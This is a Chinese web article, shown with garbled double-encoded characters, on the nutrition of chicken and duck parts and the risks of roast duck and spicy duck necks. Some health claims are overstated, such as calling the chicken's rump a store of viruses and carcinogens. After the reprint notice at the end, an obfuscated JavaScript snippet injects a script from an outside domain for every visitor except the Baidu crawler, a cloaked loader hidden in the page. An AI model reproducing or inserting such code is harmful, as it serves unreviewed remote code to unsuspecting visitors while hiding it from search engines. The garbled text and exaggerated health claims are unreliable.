當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

雞鴨肉哪些部位營養(yǎng)?教你肉類的健康吃法

2015-11-17 22:59:34  來源:360常識網(wǎng)   熱度:
導(dǎo)語:麻辣鮮香的鴨脖、鴨翅、鴨爪、鴨腸、鴨肝吃得人們“涕淚俱下”,實在是佐餐佐酒的好伴侶。雞也好、鴨也好,禽類肉有什么優(yōu)勢呢?

雞鴨肉哪些部位營養(yǎng)?教你肉類的健康吃法

雞鴨肉哪些部位營養(yǎng)?教你肉類的健康吃法

最近幾年“鴨貨”也風(fēng)靡,麻辣鮮香的鴨脖、鴨翅、鴨爪、鴨腸、鴨肝吃得人們“涕淚俱下”,實在是佐餐佐酒的好伴侶。雞也好、鴨也好,禽類肉有什么優(yōu)勢呢?有沒有哪一部分肉營養(yǎng)價值最突出呢?

一、先看雞肉:

和豬肉、牛肉相比,雞肉的蛋白質(zhì)含量較高,脂肪含量較低。此外,雞肉的蛋白質(zhì)中富含人體全部必需的氨基酸,其含量與蛋、奶制品中的氨基酸譜式極為相近,易于被人體吸收利用,是優(yōu)質(zhì)的蛋白質(zhì)的來源。

去皮的雞胸肉蛋白質(zhì)高

按不同部位、帶皮和不帶皮來對比,雞肉中的蛋白質(zhì)含量存在一定的差別,去皮的雞胸肉蛋白質(zhì)含量最高。去皮的雞肉和其他肉類相比,具有低熱量的特點。雞皮部分存在大量的脂類物質(zhì),雞的皮下脂肪含量占其總脂肪量的30%左右,所以帶皮的雞肉絕不能稱作低熱量食品。

吃雞勿食雞屁股

雞胸肉中含有較多的B族維生素,具有消除疲勞、保護皮膚的作用。

大腿肉中含有較多的鐵質(zhì),可以改善缺鐵性貧血。

雞翅膀中含有豐富的骨膠原蛋白,具有強化血管、肌肉、肌腱的功能。

雞屁股是淋巴最集中的地方,也是儲存細菌、病毒和致癌物質(zhì)的倉庫,絕對不要吃雞屁股,一定要扔掉。

二、烤鴨好吃不多吃

鴨的制作方法也多種多樣,如烤鴨、板鴨、香酥鴨、樟茶鴨、鹽水鴨等。鴨肉的營養(yǎng)價值與雞肉相仿。鴨肉性寒,可消暑熱,但胃寒、腹瀉、腰痛或痛經(jīng)的人應(yīng)少食用鴨肉,感冒的人不宜食用鴨肉。

鴨肉富含維生素

鴨肉是含B族維生素和維生素E比較多的肉類。B族維生素是抗腳氣病、抗神經(jīng)炎和抗多種炎癥的維生素,生長期、妊娠期及哺乳期的人一般需要量較大。維生素E是人體自由基的清除劑。

烤鴨不可頻繁吃

烤是人們較多采用的一種做鴨肉的烹調(diào)方式??绝喓贸砸灿袪I養(yǎng),但需要注意的是,烤鴨的油是從鴨肉里面被烤出來的,其中含有致癌物質(zhì)和打擊心臟的過氧化物,絕對不能二次利用。另外,那些烤得比較焦脆的鴨皮中,含有多環(huán)芳烴等致癌成分。

鴨肉本身對人的身體是大有益處的,但是烤鴨一個月吃一次就夠了,不要多吃。

麻辣鴨脖要控制

賣麻辣鴨脖的小店遍布大街小巷,很多人都愛吃麻辣鴨脖,建議偶爾吃一次可以,但不要經(jīng)常食用。

麻辣鴨脖中的辣味對胃腸道的刺激很大,長期食用容易患上胃病。另外,吃辣的東西很開胃,人就容易食用過量,導(dǎo)致肥胖。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}